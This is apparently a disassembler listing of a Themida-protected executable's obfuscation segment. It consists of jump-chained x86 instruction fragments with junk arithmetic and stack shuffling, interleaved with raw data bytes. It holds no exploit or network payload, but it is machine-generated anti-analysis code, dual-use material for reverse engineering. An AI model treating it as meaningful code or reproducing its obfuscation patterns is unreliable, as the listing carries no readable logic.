; ---------------------------------------------------------------------------
		dd 805FC780h, 0C7802BC7h, 0DA62E9A8h, 665CFFFFh, 6824048Bh
		dd 788Bh, 0FFB555E9h, 36EE81FFh, 50410722h, 3D05D5B8h
		dd 2C8BE957h, 0BD550000h, 4BF8797Ch, 535DEA01h,	46337EBBh
		dd 55D3F72Ah, 8C7D6BDh,	33C381A7h, 2943253Fh, 33EB81EBh
		dd 5D43253Fh, 0FFB4C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D7F0D:				; CODE XREF: Themida_:005DCF0Cj
		sub	eax, edi
		pop	edi
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0EEE9E789h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D7F1F:				; CODE XREF: Themida_:005DD70Dj
		push	ebx
		mov	bl, 0BCh
		xor	bl, 0C5h
		add	cl, bl
		pop	ebx
		jmp	loc_5D790F
; ---------------------------------------------------------------------------
		db 51h,	0E9h, 2
		dd 83FFFF9Eh, 0FF5504C4h, 5D042474h, 5C24048Fh,	0E99CC83Bh
		dd 0FFFF9674h
; ---------------------------------------------------------------------------


loc_5D7F48:				; CODE XREF: Themida_:005DB9D7j
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5D1FA0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C3682404h, 89000071h, 1CE92404h, 89FFFF9Bh,	0A0BF243Ch
		dd 0C158516Eh, 0CDE905E7h, 0ACFFFF96h, 3050E9h,	2434FF00h
		dd 4C68575Ah, 0E9000012h, 51AEh
; ---------------------------------------------------------------------------


loc_5D7F8C:				; CODE XREF: Themida_:005D5D8Dj
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		movzx	eax, al
		jmp	loc_5D96A2
; ---------------------------------------------------------------------------
		dw 0F701h
		dd 19F0BD55h, 0EF295488h, 0FFF44BE9h, 0D831ADFFh, 56DE9h
		dd 24148700h, 0A23CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D7FC6:				; CODE XREF: Themida_:005D628Bj
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		jmp	loc_5D2BCA
; ---------------------------------------------------------------------------


loc_5D7FD5:				; CODE XREF: Themida_:005D62D0j
		push	edx
		push	27A33E86h
		jmp	loc_5DB181
; ---------------------------------------------------------------------------
		dd 0C0D9F658h, 26E906E9h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D7FEB:				; CODE XREF: Themida_:005D3978j
		mov	ecx, [esp]
		jmp	loc_5D1A2E
; ---------------------------------------------------------------------------
		db 21h
		dd 0E95D1C6Fh, 0FFFFD57Ah, 42474FFh, 0F670E95Ah, 0EB80FFFFh
		dd 0D5EB807Eh, 0E95BD888h, 0FFFFF64Ah, 3FCB9h, 8BCF8900h
		dd 0C483240Ch, 8BF98904h, 0C483243Ch, 0E6BB5304h, 81737220h
		dd 0D517A8C7h, 0A7EF8159h, 1471427h, 0A7C781DFh, 0E9471427h
		dd 0FFFF99B4h, 240C8B66h, 78FF68h, 24348900h, 80E9E689h
		dd 8B000029h, 0BE92424h, 31000052h, 1C33241Ch, 24248B24h
		dd 240C8B66h, 81E38953h, 4C3h, 0BB535200h, 0FCC4DC0h, 2C79E9h
		dd 4C68100h, 0E9000000h, 2DF0h,	0E95AD188h, 0FFFFE610h
; ---------------------------------------------------------------------------


loc_5D8098:				; CODE XREF: Themida_:005D377Ej
		mov	edi, 375A4FDAh
		and	edi, 58133E82h
		push	edx
		push	ebp
		jmp	loc_5DA1BA
; ---------------------------------------------------------------------------


loc_5D80AA:				; CODE XREF: Themida_:005D5368j
		dec	edi
		add	edi, 15F92DEAh
		neg	edi
		add	edi, 7580E338h
		mov	eax, edi
		pop	edi
		sub	eax, 5B6C219Dh
		and	eax, 5C3D4E1Ch
		dec	eax
		xor	eax, 384C0Bh
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5D8718
; ---------------------------------------------------------------------------
		dd 76E95854h, 31FFFFE1h, 241C8BDDh, 5204C483h, 28DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D80F5:				; CODE XREF: Themida_:005DACADj
		pop	esi
		jmp	loc_5D2988
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9522404h, 1742h
; ---------------------------------------------------------------------------


loc_5D8104:				; CODE XREF: Themida_:005D9EFCj
		add	ecx, 0FFFFFFFFh
		not	ecx
		shl	ecx, 1
		inc	ecx
		sub	ecx, 93731BEFh
		jmp	loc_5DCB07
; ---------------------------------------------------------------------------
		db 68h
		dd 6F1h, 39FE9h, 0E0895000h, 0FFFB65E9h, 34FF5CFFh, 2434FF24h
		dd 8124048Bh, 4C4h, 4EC8100h, 89000000h, 0E2892414h, 4C281h
		dd 0EC810000h, 4, 0BF243C89h, 4, 1477C281h, 0FA011E14h
		dd 1477EA81h, 3E91E14h,	8F000017h, 4812404h, 424h, 24048F00h
		dd 4240481h, 8B000000h,	0C4832434h, 4C68104h, 83000000h
		dd 9CE904C6h, 51FFFFE0h, 632A46B9h, 8E9C169h, 8108E1C1h
		dd 131212C9h, 0F6C1812Fh, 89D2C81Bh, 0BEB859CFh, 29AFD393h
		dd 290D5FF8h, 0C112A435h, 5A6807E0h, 0E900002Eh, 3960h
; ---------------------------------------------------------------------------


loc_5D81C8:				; CODE XREF: Themida_:005D3B15j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5D6BC3
; ---------------------------------------------------------------------------


loc_5D81D6:				; CODE XREF: Themida_:005D9B0Fj
		mov	edx, 46EE466Fh
		push	eax
		mov	eax, 0B6704DBh
		xor	edx, eax
		pop	eax
		jmp	loc_5D3077
; ---------------------------------------------------------------------------
		dd offset loc_421267+1
		align 2
		dw 54E9h
		dd 81FFFFBBh, 4ECh, 241C8900h, 0E62AC5BBh, 0E4B0E913h
		dd 0E68FFFFh, 0E9000078h, 424Eh
; ---------------------------------------------------------------------------


loc_5D8210:				; CODE XREF: Themida_:005D3BE8j
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_5DC8AF
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0CDh
		dd 553C8346h, 0FFC8E0E9h, 8A02BDFFh, 0F529E502h, 0FFB181E9h
		dd 777B8FFh, 13353271h,	2520633Ah, 198D5986h, 0A033935h
		dd 47E053Ch, 0C30912E4h, 31D33158h, 0F7D331DAh,	0D38742D2h
		dd 2C07C381h, 7D057E6Bh, 297FDE08h, 2B8368D8h, 2C890000h
		dd 9BA5224h, 0BD373B0Dh, 0B7191586h, 34FFD529h,	3FE1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D8282:				; CODE XREF: Themida_:005DBB45j
		add	ebp, 73892937h
		jmp	loc_5D209B
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 57240C8Bh, 82E9E789h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D829B:				; CODE XREF: Themida_:005D755Fj
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_5DC5A3
; ---------------------------------------------------------------------------
		dd 8003E3C0h, 0EB8002F3h, 5BDE8854h, 8096E680h,	0EE8055E6h
		dd 23C3E96Ah, 53680000h, 89000036h, 65E9240Ch
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D82CB:				; CODE XREF: Themida_:005D1E42j
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		jmp	loc_5DA51F
; ---------------------------------------------------------------------------
		db 1
		dd 0B218E9F3h, 5357FFFFh, 0FC01B5BBh, 5BDF892Ah, 6D44D8B9h
		dd 0E431E917h, 0E9BAFFFFh, 0E93BD779h, 203Ch, 0F2E5815Dh
		dd 0E940D33Ch, 0FFFFC9C0h
; ---------------------------------------------------------------------------


loc_5D8314:				; CODE XREF: Themida_:005D85BBj
		add	ebp, edx
		jmp	loc_5D7150
; ---------------------------------------------------------------------------


loc_5D831B:				; CODE XREF: Themida_:005D77ACj
		sub	ecx, 27F16B79h
		jmp	loc_5D28E4
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 4F044D5h, 0FFA313E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D8331:				; CODE XREF: Themida_:005DC63Cj
		mov	ebp, 3EBE71CEh
		sub	[esp+8], ebp
		jmp	loc_5D5939
; ---------------------------------------------------------------------------
		db 68h
		dd 1337h, 54243C89h, 4C7815Fh, 68000000h, 0F2h,	51241489h
		dd 0B0620368h, 0C181597Ah, 23581DA4h, 7FA5E981h, 5A519E08h
		dd 12A2E9h, 4C48100h, 53000000h, 0FFBAEDE9h, 3B668FFh
		dd 4890000h, 12B95124h,	81287E33h, 0F7FABDC1h, 59C88927h
		dd 3C7EEB81h, 0C329077Eh, 3C7EC381h, 0E958077Eh, 0FFFFC6B2h
		dd 1A6068h, 243C8900h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 24895C24h, 687D6824h, 0C890000h, 0A2EFE924h,	0BF57FFFFh
		dd 4, 5D5C681h,	0FFE9573Dh, 3100001Bh, 3C7168D8h, 34890000h
		dd 0A706E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D83F2:				; CODE XREF: Themida_:005D34B7j
		mov	edx, 36E518CCh
		add	edx, 0F46F2734h
		xor	edi, edx
		pop	edx
		add	ebp, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_5DD83C
; ---------------------------------------------------------------------------
		align 4
aSsc		db 'c/',0
		align 2
		dw 0FB5h
		dd 5258E500h, 37E945B2h, 0BFFFFFF7h, 18C33BA5h,	0A743E956h
		dd 0E281FFFFh, 3B144066h, 146AC281h, 0B9515BA7h, 3B9025FFh
		dd 2159CA29h, 0B8E95AD7h, 8BFFFFF3h, 0C481243Ch, 4, 815E9h
		dd 0E9D38900h, 3D34h, 4F2D05ADh, 0E95545CBh, 9E4h, 74FF505Dh
		dd 8F580424h, 248B2404h, 4896624h, 913EE924h, 0E9C1FFFFh
		dd 6FBA5205h, 2128F101h, 0F0D6E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D848E:				; CODE XREF: Themida_:005DC736j
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	1953h
		jmp	loc_5DC3E7
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 0AFE95D00h, 0FF000047h, 0E9582434h
		dd 4228h, 0E9243C89h, 0FFFF9344h
; ---------------------------------------------------------------------------


loc_5D84C8:				; CODE XREF: Themida_:005D3A04j
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		jmp	loc_5D4382
; ---------------------------------------------------------------------------


loc_5D84D7:				; CODE XREF: Themida_:005DCA53j
		mov	[esp], ebx
		jmp	loc_5D8D0E
; ---------------------------------------------------------------------------
		db 54h
		dd 0D8D6E95Dh, 248BFFFFh, 24043024h, 90CAE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D84F2:				; CODE XREF: Themida_:005D9B1Ej
		mov	ebx, 0F351123h
		sub	ebx, 1
		or	ebx, 28892278h
		and	ebx, 21CC4150h
		shr	ebx, 4
		dec	ebx
		sub	ebx, 0B893AF88h
		xor	edi, ebx
		pop	ebx
		xor	edi, 429E2997h
		sub	ebx, edi
		pop	edi
		jmp	loc_5D9C0C
; ---------------------------------------------------------------------------
		db 8, 4, 24h
		dd 9092E99Ch, 0E957FFFFh, 0FFFFFEEFh, 0E92434FFh, 0FFFFD2ABh
; ---------------------------------------------------------------------------


loc_5D8538:				; CODE XREF: Themida_:005D4EA8j
		xor	dword ptr [esp], 38B6596Bh
		mov	ecx, [esp]
		add	esp, 4
		xor	ecx, 38B6596Bh
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		push	edi
		push	32ECh
		mov	[esp], eax
		jmp	loc_5D51FA
; ---------------------------------------------------------------------------
		dd 24048B66h, 81E78957h, 4C7h, 65FF6800h, 4890000h, 4339B824h
		dd 0BAE90DC5h, 87FFFFAAh, 8F5C243Ch, 248B2404h,	32253524h
		dd 0A2E93061h, 0BAFFFFCBh, 43F94B50h, 1CE9D689h, 3100004Ah
		dd 3F47E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D85A6:				; CODE XREF: Themida_:005DA281j
		xchg	eax, [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 7E81937h
		push	edx
		mov	edx, 0F817E6CDh
		jmp	loc_5D8314
; ---------------------------------------------------------------------------


loc_5D85C0:				; CODE XREF: Themida_:005DD497j
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 1A1965A2h
		mov	ecx, ebx
		pop	ebx
		mov	esi, 1A1965A3h
		jmp	loc_5DBF76
; ---------------------------------------------------------------------------
		db 2Dh,	0B4h, 6Fh
		dd 2D2D730Ch, 5345CB4Fh, 7628E7BBh, 5FE38132h, 50710665h
		dd 0FFFC3CE9h, 241489FFh, 0A3118FBAh, 81DAF735h, 1854DBCAh
		dd 31B95114h, 0E921A301h, 0FFFFB398h, 2414895Ch, 0FE68h
		dd 24148B00h, 0E95A5452h, 0FFFF9B64h, 4AC3BA52h, 0E2814E04h
		dd 7C0A7FAFh, 63E2CA81h, 0BF574A41h, 441C4EF7h,	0FFD5BBE9h
		dd 7028BDFFh, 0EB29030Eh, 81C3295Dh, 0E7028C3h,	0DA295803h
		dd 1C57095Bh, 0FFC06FE9h, 685658FFh, 0DDDFFFFBh, 5EF7295Eh
		dd 815FFB01h, 2C3h, 241C3300h, 0FFF9EAE9h, 0B4EF81FFh
		dd 53607871h, 0FD7D2ABBh, 26EB8126h, 817AE34Fh,	0FFFFFFEBh
		dd 4EC81FFh, 0E9000000h, 2904h
; ---------------------------------------------------------------------------


loc_5D869C:				; CODE XREF: Themida_:005D68C9j
		add	esp, 4
		push	1C54h
		jmp	loc_5D57EF
; ---------------------------------------------------------------------------
aIZqs3_		db 'ZQ3.',0
		dd 76E95C00h, 6600000Dh, 0E924048Bh, 222Ch
; ---------------------------------------------------------------------------


loc_5D86C4:				; CODE XREF: Themida_:005DD854j
		push	edi
		push	10000h
		pop	edi
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_5DCF46
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 47FBC0F6h, 0F0C78103h, 0E9548819h, 0FFFFF8B6h, 5D5DEB29h
		dd 4902E9h, 2FE95300h, 5BFFFFD4h, 0FFEA5DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D8705:				; CODE XREF: Themida_:005D459Dj
		pop	esp
		push	esi
		mov	esi, 55A7031h
		push	ebx
		push	esi
		mov	esi, 17D7532h
		jmp	loc_5D9DDF
; ---------------------------------------------------------------------------


loc_5D8718:				; CODE XREF: Themida_:005D80DBj
		or	eax, eax
		jnz	loc_5D8E00
		push	11D5h
		mov	[esp], ebx
		mov	ebx, 563210EFh
		sub	ebx, 28D5569Ah
		jmp	loc_5DA10B
; ---------------------------------------------------------------------------
		dd 0D7E8E95Fh, 0FF5EFFFFh, 0F6E92434h
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8747:				; CODE XREF: Themida_:005D9281j
		mov	ebx, esp
		jmp	loc_5D7C83
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24348704h, 24048B5Ch, 4F4968h, 243C8900h, 0FFB13DE9h
		dd 71E958FFh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D876B:				; CODE XREF: Themida_:005D17E8j
		push	ecx
		push	edx
		push	127B4F46h
		jmp	loc_5D4AFF
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFB7C7h, 31243433h
		dd 34332434h, 24248B24h, 2404D366h, 8E1EE99Ch, 0EC83FFFFh
		dd 242C8904h, 0EC835D54h, 243C8904h, 544365BFh,	3BB533Dh
		dd 916070Eh, 0F35AE9DFh, 0D4F6FFFFh, 82F480h, 525866E3h
		dd 0B1E90FB2h, 89FFFFCDh, 0E389241Ch, 4C381h, 0BE560000h
		dd 4, 875EF329h, 895C241Ch, 0EC812414h,	4, 0B9240C89h
		dd 1A6266E8h, 0ADDBE56h, 4CE90F76h, 88000018h, 24148BD3h
		dd 2804C483h, 1C8B66D8h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5D1B2C
; ---------------------------------------------------------------------------
		db 1, 0FBh, 5Fh
		dd 0EB81C301h, 19443E1Ch, 454CE950h, 8B660000h,	89502404h
		dd 0F5BF57E0h, 8154572Ah, 1A4A10CFh, 958AE93Ch,	0B850FFFFh
		dd 4252977h, 0BB8E955h,	0D6F60000h, 0F680DEF6h,	4402CEBh
		dd 93FDE999h, 248BFFFFh, 0BA29E924h, 77FFFFFFh,	18F9E91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D886E:				; CODE XREF: Themida_:005D23EDj
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5D2546
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 74FF5704h, 8F5F0424h, 248B2404h,	0C8B6624h
		dd 1C786824h, 2DE90000h, 8000003h, 0C58058C5h, 0D7ED8001h
		dd 17B0E9h, 1C77FF00h, 0D359669Dh, 0E99C241Ch, 0FFFF8CFCh
		dd 4C481h, 0E9530000h, 4B9Bh, 2C681h, 34330000h, 24343124h
		dd 0E9243433h, 0FFFFC75Bh, 240C8B54h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	eax
		push	ebp
		jmp	loc_5D40F7
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 5Ch
		dd 0F711353Ch, 65E181D1h, 5559FD7Ah, 0C8421FBDh, 5DE92948h
		dd 13E5E9h, 0C8B6600h, 0CBE95524h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8927:				; CODE XREF: Themida_:005D50AEj
		push	edx
		mov	edx, 415418E9h
		xor	edx, 415418EDh
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp+4], eax
		pop	eax
		pop	eax
		push	esi
		mov	esi, 6D8E6E0Ah
		push	eax
		jmp	loc_5D262F
; ---------------------------------------------------------------------------


loc_5D894E:				; CODE XREF: Themida_:005D789Dj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ecx
		jmp	loc_5D69EA
; ---------------------------------------------------------------------------


loc_5D8962:				; CODE XREF: Themida_:005D42C7j
		mov	ebp, 4
		jmp	loc_5D4B21
; ---------------------------------------------------------------------------


loc_5D896C:				; CODE XREF: Themida_:005DC0CAj
		xor	ebx, edi
		xor	edi, ebx
		not	ebx
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_5DCEE0
; ---------------------------------------------------------------------------
		db 59h
		dd 66D03166h, 0E924148Bh, 10FCh, 710E681h, 0F68116C3h
		dd 6E9D0CE4h, 6A9BC681h, 8D680ABBh, 89000014h, 0EABB241Ch
		dd 56254948h, 4D40EFBEh, 5EF33165h, 8143DBF7h, 0C483E3EBh
		dd 5BDE31AFh, 0FC9EC681h, 0F2896692h, 0E218E95Eh, 0C281FFFFh
		dd 4, 4C281h, 14870000h, 48F5C24h, 24248B24h, 8B2434FFh
		dd 6AE9240Ch, 0BAFFFFEAh, 27524F35h, 455368h, 241C8900h
		dd 57A57BBh, 0FEBD555Bh, 31516825h, 0C3815DEBh,	21507113h
		dd 29D9C381h, 0EB8147A8h, 0FFFFFFFFh, 650FE381h, 0F3812EDDh
		dd 79033DDCh, 0FFA943E9h, 8B6664FFh, 46F96802h,	4890000h
		dd 0E9585424h, 4C89h
; ---------------------------------------------------------------------------


loc_5D8A3C:				; CODE XREF: Themida_:005D2050j
		pop	edx
		mov	ebx, esi
		push	dword ptr [esp]
		jmp	loc_5DC634
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 0E951E689h, 0FFFFEED9h, 0D9B951ADh, 297CA136h
		dd 240C8BC8h, 4C481h, 0B8050000h, 0E947E528h, 0FFFFA333h
		dd 2DB65250h, 0F680CEFEh, 0E9F0888Bh, 3C73h
; ---------------------------------------------------------------------------


loc_5D8A80:				; CODE XREF: Themida_:005D20C1j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	6007h
		mov	[esp], esi
		mov	esi, 40h
		mov	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ecx, 6
		push	242Eh
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5D4024
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0C0B60F00h, 558734FFh,	1100BF57h, 0BB537D14h
		dd 0E4F7BEEh, 5A2EEDBDh, 8BDD318Ch, 0C483241Ch,	5FFD2904h
		dd 0FF9285E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D8AE9:				; CODE XREF: Themida_:005D6BF6j
		xor	esi, [esp]
		jmp	loc_5DB262
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 9DE9240Ch, 1FFFFE8h,	0F4C781D7h, 0E9518229h,	1CE0h
		dd 0B8505551h, 7F5D277Ch, 48B5D50h, 4C48124h, 68000000h
		dd 7F5D257Ch, 0DE93E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8B26:				; CODE XREF: Themida_:005D24E3j
		push	eax
		mov	al, 0DCh
		xchg	cl, al
		inc	cl
		xchg	cl, al
		not	al
		dec	al
		sub	al, 0DFh
		add	al, 0CAh
		push	cx
		mov	ch, 2
		sub	al, 9Dh
		sub	al, ch
		add	al, 9Dh
		pop	cx
		sub	bl, al
		mov	eax, [esp]
		push	545Bh
		mov	[esp], eax
		jmp	loc_5D30FF
; ---------------------------------------------------------------------------


loc_5D8B55:				; CODE XREF: Themida_:005D30FAj
		sub	ecx, edx
		xchg	ecx, edx
		pop	ecx
		xchg	esi, edx
		dec	esi
		xchg	esi, edx
		push	esi
		mov	esi, 9CAD13h
		add	edx, esi
		pop	esi
		and	ecx, edx
		push	dword ptr [esp]
		pop	edx
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5D501A
; ---------------------------------------------------------------------------
		dd 0E901C683h, 884h, 295FFB01h,	0A5EB81C3h, 5856A55Dh
		dd 64E9C329h, 0B9FFFFDDh, 4, 57E9CD01h,	81FFFFE9h, 4C3h
		dd 4C38100h, 87000000h,	305C241Ch, 24148BF0h, 4EC81h, 6CE90000h
		dd 0E9FFFFD5h, 0FFFF89ECh, 83241C89h, 8F5404ECh, 48E92404h
		dd 0B2000022h, 0E9D12862h, 244Ch, 0B5EE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D8BEE:				; CODE XREF: Themida_:005DAC7Cj
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_5DD685
; ---------------------------------------------------------------------------
		dd 0E95BDE00h, 0FFFFC1ECh
; ---------------------------------------------------------------------------


loc_5D8C04:				; CODE XREF: Themida_:005D7B90j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	edx
		jmp	loc_5D5894
; ---------------------------------------------------------------------------
		db 0B5h, 0F6h, 80h
		dd 0C580C6C5h, 0EBE580FAh, 0C580C5FEh, 0CEE8E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8C2E:				; CODE XREF: Themida_:005D2634j
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		shl	esi, 3
		and	esi, 5F156487h
		shl	esi, 3
		dec	esi
		add	esi, 0A8D7FE5Dh
		xor	eax, esi
		pop	esi
		push	130Eh
		mov	[esp], ecx
		mov	ecx, 41066E2Fh
		jmp	loc_5DB284
; ---------------------------------------------------------------------------
		db 0D3h, 2Ch, 24h
		dd 8952E99Ch, 48FFFFFh,	4FE5C24h, 45E99C24h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8C77:				; CODE XREF: Themida_:005DB687j
		push	dword ptr [esp+4]
		jmp	loc_5D2127
; ---------------------------------------------------------------------------
		dd 0E932FF66h, 0FFFF8934h
; ---------------------------------------------------------------------------


loc_5D8C88:				; CODE XREF: Themida_:005DC5F6j
		and	esi, 4B76126Dh
		add	esi, 454616EFh
		jmp	loc_5D1AD3
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 45h
		dd 0E9642C23h, 0FFFF9220h
; ---------------------------------------------------------------------------


loc_5D8CA4:				; CODE XREF: Themida_:005D4C02j
		add	ebp, 0FF87DE5Ah
		add	esi, ebp
		pop	ebp
		push	edi
		mov	edi, 5E3B39A8h
		and	edi, 1C0C453Eh
		xor	edi, 6251204Dh
		push	ebx
		mov	ebx, 7F5D22F5h
		jmp	loc_5DA6A7
; ---------------------------------------------------------------------------
		dw 5452h
		dd 4C2815Ah, 56000000h,	268h, 0F2015E00h, 0FFB332E9h, 882EB2FFh
		dd 62E95AD7h, 68000045h, 2C86h,	68242C89h, 29E9h, 0E9242489h
		dd 0FFFFE834h, 0EB81FB01h, 1AF85CDFh, 9D81E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8D0E:				; CODE XREF: Themida_:005D84DAj
		mov	ebx, esp
		jmp	loc_5D9AA6
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 24048B66h, 0E9E28952h, 0FFFFEE5Eh
; ---------------------------------------------------------------------------


loc_5D8D24:				; CODE XREF: Themida_:005D560Aj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	ecx, edx
		pop	edx
		push	esi
		jmp	loc_5DB1AF
; ---------------------------------------------------------------------------
		dd 5E28ED81h, 0C5814C6Ch, 504834D6h, 4EC81h, 34890000h
		dd 83EE8924h, 3C8904ECh, 4815624h, 8A637224h, 0EF815F54h
		dd 548A6372h, 0FFC964E9h, 0E68146FFh, 57F337DAh, 64C368h
		dd 241C8900h, 32C686BBh, 5BDE2921h, 46BBC281h, 0F20135AAh
		dd 46BBEA81h, 815E35AAh, 419B69F2h, 87C381A6h, 17F4261h
		dd 87EB81D3h, 5A7F4261h, 2474FF53h, 48F5B04h, 0B224E924h
		dd 34FFFFFFh, 24048B24h, 50E38953h, 36418BB8h, 572F0D15h
		dd 0A92D0644h, 0E9108C6Fh, 0FFFF9C70h
; ---------------------------------------------------------------------------


loc_5D8DCC:				; CODE XREF: Themida_:005D5F9Fj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5DA7C4
; ---------------------------------------------------------------------------


loc_5D8DD5:				; CODE XREF: Themida_:005D298Bj
		pop	esp
		mov	[esp], edi
		mov	edi, 309A3435h
		xchg	eax, edi
		jmp	loc_5D9F6F
; ---------------------------------------------------------------------------
		dd 4BDh, 0EFF4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D8DEE:				; CODE XREF: Themida_:005D31D9j
		pop	ebp
		push	ebp
		mov	ebp, 4
		jmp	loc_5D59E2
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFFCD35h
; ---------------------------------------------------------------------------


loc_5D8E00:				; CODE XREF: Themida_:005D3F4Aj
					; Themida_:005D871Aj ...
		push	eax
		mov	eax, 24h
		add	eax, edi
		push	dword ptr [eax]
		add	dword ptr [esp], 234E6624h
		mov	ecx, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_5D587F
; ---------------------------------------------------------------------------
		dd 48F545Ch, 4BB5324h, 0E9000000h, 0FFFFE51Ah, 5AE9C801h
		dd 81FFFFF4h, 0CD7F74E1h, 2FF18147h, 0E94AFDC4h, 0FFFFB3D3h
; ---------------------------------------------------------------------------


loc_5D8E44:				; CODE XREF: Themida_:005DA51Aj
		mov	edx, [esp]
		jmp	loc_5D9A2B
; ---------------------------------------------------------------------------
		dd 13D668h, 24348900h, 94B41BEh, 3E4CE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D8E5E:				; CODE XREF: Themida_:005D50BCj
		or	ebp, 3B0B571Ah
		sub	ebp, 7FBF7F16h
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5D2712
; ---------------------------------------------------------------------------


loc_5D8E76:				; CODE XREF: Themida_:005DA827j
		pop	eax
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5DCA76
		sub	esp, 4
		jmp	loc_5DB093
; ---------------------------------------------------------------------------
		db 89h,	0D0h, 5Ah
		dd 48BC529h, 8DE95724h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D8E9B:				; CODE XREF: Themida_:005DB9E9j
		xor	edi, 4C943A88h
		mov	ebx, edi
		pop	edi
		shr	ebx, 2
		jmp	loc_5D2F74
; ---------------------------------------------------------------------------
		dd 0E981D101h, 186F3C14h, 0FFEAE7E9h, 895751FFh, 4C781E7h
